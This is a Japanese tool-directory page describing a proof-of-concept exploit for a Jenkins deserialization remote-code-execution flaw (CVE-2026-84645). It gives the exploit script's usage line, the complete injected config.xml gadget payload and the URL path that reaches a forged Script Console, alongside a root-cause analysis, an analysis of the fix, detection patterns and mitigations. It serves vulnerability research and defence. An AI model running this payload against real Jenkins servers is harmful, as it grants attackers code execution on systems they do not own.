Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
ツール/GitHubGitHub/mhtsec/cve-2026-84645
脆弱性分析コード分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミング
GitHubmhtsec/cve-2026-84645

CVE-2026-84645

Jenkins PersistenceRoot 逆シリアライゼーション RCE(SECURITY-3972)— PoC と分析。Item/Configure 権限が必要。週次ビルド <= 2.579 / LTS <= 2.568.2 に影響。

リポジトリを見る
1日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-84645 — Jenkins PersistenceRoot 逆シリアライゼーション RCE (SECURITY-3972)

2026-09-02 に修正された Jenkins の逆シリアライゼーション脆弱性の PoC (advisory)。任意の単一ジョブに対して Item/Configure 権限を持つ低権限アカウントが、これを Jenkins OS ユーザーとしての任意コード実行に昇格させることができます。

影響を受けるバージョンJenkins weekly ≤ 2.579、LTS ≤ 2.568.2
修正バージョンweekly 2.580、LTS 2.568.3
前提条件認証済み、1 つ以上のジョブに対する Item/Configure
影響Jenkins サービスアカウントとしての RCE
CVSS8.8 (High)

脆弱なテストインスタンスに対する認可されたセキュリティ研究のみを対象としています。

使用方法

root@kitploit:~
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id

このスクリプトは、アカウントにスクリプト権限がないことを確認し(403 を期待)、細工された config.xml を送信し、その後、注入されたオブジェクトグラフを経由して、ACL が攻撃者によって制御される Script Console にルーティングします。

技術分析

根本原因

Jenkins XStream スタック(hudson.util.XStream2 / RobustReflectionConverter)の 2 つの長年にわたる動作が組み合わさっています:

  1. PersistenceRoot 型はネストされたフィールド値として逆シリアライズされる可能性がありました。 JEP-200 はどのクラスが逆シリアライズされるかを制限しますが、オブジェクトグラフのどこで行われるかは制限しません。PersistenceRoot サブタイプとして型指定された(または代入可能な)任意のフィールドは、通常のオブジェクトのようにアンマーシャリングされました。XStream は Unsafe.allocateInstance(コンストラクタなし)を介してインスタンス化するため、攻撃者は authorizationStrategy を含む任意のフィールド値を持つ2 つ目の hudson.model.Hudson シングルトンを偽造できました。
  2. transient フィールドもアンマーシャリングされました(「XStream 1.1.3 のように transient フィールドにアンマーシャリングする」という互換性動作)。Stapler のリクエストルーティングに必要なオブジェクト参照(FingerprintAction.build、Run.project、AbstractItem.parent)は transient であるため、注入されたオブジェクトは HTTP 経由で到達可能になります — advisory の「subsequently handle HTTP requests via Stapler」という表現。

ガジェットチェーン

POST /job/<job>/config.xml(Item/Configure のみが必要)は、ジョブの <actions> に以下を注入します:

root@kitploit:~
<actions>
  <hudson.tasks.Fingerprinter_-FingerprintAction>
    <build class="hudson.model.FreeStyleBuild">        <!-- PersistenceRoot ネスト(欠陥 1); transient フィールド(欠陥 2) -->
      <project class="hudson.model.FreeStyleProject">  <!-- Run.project: protected final transient -->
        <parent class="hudson.model.Hudson">            <!-- AbstractItem.parent: transient; 偽造された 2 つ目の Jenkins -->
          <authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
        </parent>
        <name>...</name>
        <properties/>                                  <!-- Job.getOverrides() での NPE を回避 -->
      </project>
    </build>
    <record/>
  </hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>

その後、Stapler はリクエストを偽造されたグラフにルーティングします:

URL セグメント解決先コードパス
/job/<job>/fingerprints注入された FingerprintActionurlName == "fingerprints" + Actionable.getDynamic()
/run偽造された FreeStyleBuildFingerprintAction.getRun() が transient の build を読み取る
/parent偽造された FreeStyleProjectRun.getParent() が final transient project を読み取る
/parent偽造された hudson.model.HudsonAbstractItem.getParent() が transient の parent を読み取る
/scriptText偽造されたインスタンスの Script ConsoleJenkins.doScriptText() → _doScript(..., getACL())

認可バイパス: doScriptText は、リクエストを受信したインスタンス、すなわち偽造された Hudson の getACL() に対して ADMINISTER をチェックします。これは自身の authorizationStrategy フィールドから導出され、AuthorizationStrategy$Unsecured はすべてを許可します。実際のコントローラの認可戦略は一切関与しません。逆シリアライゼーション中にコンストラクタが実行されないため、フィールド初期化子は適用されません。ペイロードは authorizationStrategy(および properties)を明示的に設定する必要があります。

修正分析 (2.580)

jenkins-2.579 → jenkins-2.580 の差分:

  • RobustReflectionConverter.doUnmarshal は、PersistenceRoot サブタイプをネストされたフィールドにアンマーシャリングすることを拒否するようになりました(CriticalXStreamException: "PersistenceRoot objects are document roots and must not appear as nested field values")。許可されるのは、XStream の reference= バックリファレンス、非永続的な resolves-to リプレーサー(Run$Replacer、User$Replacer など)、および単一値コンバータのスカラーリファレンスの 3 つの安全な形状のみです。
  • 新しい @XStreamNotDeserializable / @XStreamDeserializable アノテーションと TRANSIENT_FIELD_STRICT_MODE により、フィールドごとの transient フィールドのアンマーシャリングが厳格化されました。
  • Jenkins.readResolve() は、2 つ目の Jenkins シングルトンの逆シリアライズを拒否するようになり、writeReplace() リプレーサーも追加されました。
  • 回帰テスト: test/src/test/java/jenkins/security/Security3972Test.java、Security3972QueueRestartTest.java。

注意事項

  • 注入はインメモリ(transient)です: Jenkins を再起動するとクリアされますが、いつでも再送信できます。
  • 検出: ネストされた Fingerprinter_-FingerprintAction / hudson.model.Hudson を含む予期しない POST /job/*/config.xml ペイロード、または /job/*/fingerprints/run/parent/parent/scriptText へのリクエスト。

緩和策

  • weekly ≥ 2.580 / LTS ≥ 2.568.3 にアップグレードします。
  • 認可マトリックスで Item/Configure を信頼できる管理者に制限します。
  • 上記のパターンについてアクセスログを監査し、疑わしいインスタンスを再起動して、ジョブの config.xml ファイルに汚染がないか確認します。

参照

  • https://www.jenkins.io/security/advisory/2026-09-02/#SECURITY-3972
  • https://nvd.nist.gov/vuln/detail/CVE-2026-84645
ツールをダウンロード